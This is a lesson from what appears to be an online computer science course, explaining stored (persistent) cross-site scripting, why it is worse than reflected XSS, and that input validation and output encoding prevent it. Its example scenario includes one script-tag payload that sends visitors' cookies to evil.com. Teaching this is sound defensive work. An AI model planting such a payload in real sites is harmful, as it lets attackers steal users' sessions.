Course contentsShow
← Computer Science
Lesson 2456 of 2,87255. Web SecurityFree lesson

Stored (Persistent) XSS Attacks

Understanding stored XSS where malicious scripts are saved on the server and executed whenever users view the content.

Stored (Persistent) XSS Attacks

What you'll learn: How attackers can save malicious scripts on a server that execute repeatedly for every user who views the compromised content.

The Core Idea

Unlike reflected XSS (which requires tricking a user into clicking a malicious link), stored XSS involves injecting malicious JavaScript that gets saved permanently on the target server—typically in a database, comment field, forum post, or user profile. Every time any user loads that content, the malicious script executes in their browser.

Think of it like poisoning a well: instead of handing someone a poisoned cup (reflected XSS), you contaminate the water source itself. Everyone who drinks from it gets poisoned automatically.

How It Works

  1. An attacker submits malicious content containing <script> tags to a vulnerable web application (e.g., posting a comment with embedded JavaScript)
  2. The server stores this content without proper sanitization
  3. When legitimate users view the page containing that content, the server serves the malicious script
  4. The script executes in each victim's browser with their session privileges

Why It's More Dangerous

Stored XSS is generally considered more severe than reflected XSS because:

  • No user interaction required beyond visiting a legitimate page
  • Affects all users who view the compromised content
  • Persists until someone discovers and removes it
  • Creates a persistent attack vector on trusted pages

Example Scenario

An attacker posts this "comment": <script>fetch('https://evil.com?cookie='+document.cookie)</script>

If the application stores it without sanitization, every visitor's session cookies get sent to the attacker's server automatically.

Key Takeaway: Stored XSS attacks save malicious scripts on the server itself, creating persistent vulnerabilities that automatically affect every user who views the compromised content—making input validation and output encoding absolutely critical for any user-generated content.